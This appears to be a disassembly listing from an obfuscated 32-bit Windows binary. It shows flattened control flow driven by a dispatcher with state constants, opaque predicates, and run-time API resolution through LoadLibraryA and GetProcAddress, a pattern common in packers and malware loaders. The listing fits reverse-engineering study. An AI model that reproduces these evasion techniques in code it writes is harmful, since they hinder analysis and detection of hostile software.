not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0xc836d383
jmp 0x401a97
mov edx, dword [0x4ec418]
mov ecx, dword [0x4ec414]
mov edi, 0x80723b75
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0x39e6e9a3
cmovne edi, ebx
test edx, eax
mov eax, edi
cmove eax, ebx
cmp ecx, 0xa
cmovge eax, edi
jmp 0x401ac0
mov eax, 0xea4dc621
jmp 0x401ac0
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x34]
mov eax, 0xa33a21ab
jmp 0x401ac0
mov eax, dword [ebp - 0x24]
mov edi, 0xc31866f5
mov ebx, 0x90f8643
mov eax, dword [eax]
mov dword [ebp - 0x1bc], eax
mov eax, dword [0x4ec418]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0x90f8643
jmp 0x40573f
mov eax, dword [ebp - 0x1d4]
mov ecx, dword [ebp - 0x54]
inc eax
mov dword [ecx], eax
mov eax, 0x3c60bdce
jmp 0x401ac0
mov eax, 0x68494a0c
jmp 0x401ac0
mov eax, dword [ebp - 0x58]
mov dword [eax], 4
mov eax, 0x73abf1e
jmp 0x401ac0
mov eax, dword [ebp - 0x28]
mov edi, 0x3764e69f
mov ebx, 0x31ecccd3
mov eax, dword [eax]
mov eax, dword [eax]
add eax, dword [ebp - 0xc8]
mov ecx, dword [ebp - 0xc4]
mov dword [ecx], eax
mov eax, dword [ebp - 0xa4]
mov eax, dword [ebp - 0x28]
mov eax, dword [eax]
mov eax, dword [eax + 4]
mov ecx, dword [ebp - 0xa4]
add eax, 0xfffffff8
shr eax, 1
mov dword [ecx], eax
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x28]
mov eax, dword [eax]
mov dword [ebp - 0x160], eax
mov eax, dword [0x4ec418]
lea ecx, [eax - 1]
imul ecx, eax
mov eax, 0x31ecccd3
jmp 0x405580
mov eax, dword [0x4ec418]
mov edi, 0x52fe1ca6
mov ebx, 0x80723b75
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0x80723b75
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
jmp 0x40563f
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0xbc]
mov eax, 0x1b6cead5
jmp 0x401ac0
mov eax, dword [ebp - 0x50]
mov ecx, dword [ebp - 0x108]
mov dword [eax], ecx
mov eax, 0xa6df9000
jmp 0x401ac0
mov eax, dword [ebp - 0x2c]
mov dword [eax], 1
mov eax, 0x3f4435b0
jmp 0x401ac0
mov eax, dword [ebp - 0xc0]
mov eax, dword [eax]
mov dword [ebp - 0x170], eax
mov eax, dword [ebp - 0xc4]
mov eax, dword [eax]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x50]
mov eax, dword [eax]
movzx eax, word [eax]
mov word [ebp - 0xca], ax
mov eax, 0xe2cbd46e
jmp 0x401ac0
mov eax, 0xc659419b
jmp 0x401ac0
mov eax, dword [ebp - 0x20]
mov edi, 0x7292d3b3
mov ebx, 0x8a9b372c
mov eax, dword [eax]
mov eax, dword [eax + 0x50]
mov dword [ebp - 0x134], eax
mov eax, dword [ebp - 0xbc]
mov dword [ebp - 0x138], eax
mov eax, dword [0x4ec418]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x8a9b372c
sete cl
cmove eax, edi
cmp dword [0x4ec414], 0xa
setl dl
cmovge eax, ebx
xor dl, cl
cmovne eax, edi
jmp 0x401ac0
mov edx, dword [0x4ec418]
mov eax, dword [0x4ec414]
mov edi, 0x117677c2
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0x90ef0b6d
cmovne edx, edi
cmp ecx, 0xffffffff
mov ecx, edx
cmove ecx, edi
cmp eax, 0xa
cmovge ecx, edx
mov eax, ecx
jmp 0x401ac0
mov edx, dword [0x4ec418]
mov eax, dword [0x4ec414]
mov edi, 0x8728907f
lea ecx, [edx - 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0x85c1d97b
cmovne edx, edi
cmp ecx, 0xffffffff
mov ecx, edx
cmove ecx, edi
cmp eax, 0xa
mov eax, dword [ebp - 0x28]
mov eax, dword [eax]
mov eax, dword [eax + 4]
mov dword [ebp - 0x184], eax
mov eax, dword [ebp - 0x64]
mov eax, dword [eax]
mov dword [ebp - 0x188], eax
jmp 0x405698
cmp byte [ebp - 0x93], 0
mov eax, 0xfe0d4704
mov ecx, 0x8db01e27
cmovne eax, ecx
jmp 0x401ac0
xor esi, esi
mov eax, 0xb65fa769
jmp 0x401ac0
mov eax, dword [0x4ec418]
mov edi, 0x3b1b1467
mov ebx, 0x868c5606
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0x868c5606
sete al
cmove ecx, edi
cmp dword [0x4ec414], 0xa
setl dl
cmovge ecx, ebx
xor dl, al
cmovne ecx, edi
mov eax, ecx
jmp 0x401ac0
mov eax, 0xdbbfcd8
jmp 0x401ac0
mov eax, dword [ebp - 0x7c]
mov eax, dword [eax]
mov dword [ebp - 0x164], eax
mov eax, dword [ebp - 0xa4]
mov eax, dword [eax]
mov dword [ebp - 0x168], eax
mov eax, 0x9698280d
jmp 0x401ac0
mov eax, dword [ebp - 0x2c]
mov dword [eax], 0x10
mov eax, dword [ebp - 0x54]
mov eax, 0x5198fee7
jmp 0x401ac0
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x34]
mov eax, 0x3c602d0
jmp 0x401ac0
mov eax, dword [ebp - 0x7c]
mov ecx, dword [ebp - 0x180]
mov dword [eax], ecx
mov eax, 0xa9fb9b47
jmp 0x401ac0
cmp byte [ebp - 0x94], 0
mov eax, 0xd65f7418
mov ecx, 0x223aa36
cmovne eax, ecx
jmp 0x401ac0
mov eax, dword [ebp - 0x110]
mov ecx, dword [ebp - 0xa8]
mov dword [ecx], eax
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0xa8]
push dword [eax]
vzeroupper
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, dword [ebp - 0x68]
mov ebx, 0x598e1e96
mov edi, 0xe77a577
mov dword [ecx], eax
mov eax, dword [ebp - 0x68]
cmp dword [eax], 0
mov eax, dword [0x4ec418]
lea ecx, [eax + 1]
setne byte [ebp - 0x91]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0xe77a577
jmp 0x401a97
mov eax, dword [ebp - 0x7c]
mov eax, 0x4808c6d3
jmp 0x401ac0
mov eax, dword [ebp - 0x54]
mov ebx, 0xdd918def
mov edi, 0xd6a191aa
mov dword [eax], 0
mov eax, dword [0x4ec418]
lea ecx, [eax - 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0xd6a191aa
jmp 0x401a97
mov eax, dword [ebp - 0x68]
push dword [ebp - 0x1b0]
push dword [eax]
vzeroupper
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0xac]
mov dword [ecx], eax
mov eax, 0x859b8647
jmp 0x401ac0
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
mov dword [ebp - 0x18c], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
sub eax, 0xffffff80
mov dword [ebp - 0x190], eax
mov eax, 0xb59262d8
jmp 0x401ac0
mov eax, dword [ebp - 0x54]
mov dword [eax], 0
mov eax, 0x604092e4
jmp 0x401ac0
mov eax, 0x10b94865
jmp 0x401ac0
cmp eax, 0xab55f1a0
jne 0x401ac0
mov esi, dword [ebp - 0x1dc]
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
vzeroupper
call fcn.004392e0
mov eax, esi
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret